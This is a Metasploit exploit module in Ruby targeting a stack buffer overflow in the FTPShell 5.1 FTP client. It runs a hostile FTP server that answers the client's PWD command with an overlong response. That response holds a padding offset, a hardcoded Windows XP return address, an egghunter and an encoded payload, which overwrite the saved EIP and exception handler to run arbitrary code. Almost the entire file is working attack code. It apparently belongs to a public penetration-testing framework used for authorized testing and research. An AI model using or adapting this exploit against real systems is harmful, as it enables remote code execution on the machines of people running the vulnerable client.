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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Exploit::Remote::FtpServer
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  include Exploit::Remote::Egghunter
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'FTPShell 5.1 Stack Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in FTPShell 5.1. The overflow gets
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        triggered when the ftp client tries to process an overly long response to a PWD
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        command. This will overwrite the saved EIP and structured exception handler.
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      },
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      'Author' 	 =>
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        [
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          'corelanc0d3r <peter.ve[at]corelan.be>'	#found bug, wrote the exploit
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        ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'OSVDB', '68639'],
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          [ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread',
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        },
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      'Payload'        =>
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        {
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          'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'Windows XP Universal', { 'Offset' => 399, 'Ret' => 0x779A5483  } ], #jmp ebp [setupapi.dll]]
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        ],
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      'Privileged'     => false,
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      'DisclosureDate' => '2010-10-12',
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      'DefaultTarget'  => 0))
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  end
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  def setup
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    super
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  end
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  def on_client_unknown_command(c,cmd,arg)
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    c.put("200 OK\r\n")
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  end
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  def on_client_command_pwd(c,arg)
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    badchars = ""
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    eggoptions =
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    {
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    :checksum => true,
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    :eggtag => "w00t"
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    }
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    hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)
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    print_status(" - PWD command -> Sending payload")
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    junk = "A" * target['Offset']
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    nops = "A" * 10
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    tweakhunter = "\x5a\x5a"
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    eip = [target.ret].pack('V')
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    buffer = junk + eip + nops + tweakhunter + hunter + egg
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    pwdoutput = "257  \"/" + buffer+ "\" is current directory\r\n"
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    c.put(pwdoutput)
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    print_status(" - Sent #{pwdoutput.length} bytes, wait for hunter")
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    return
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  end
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end
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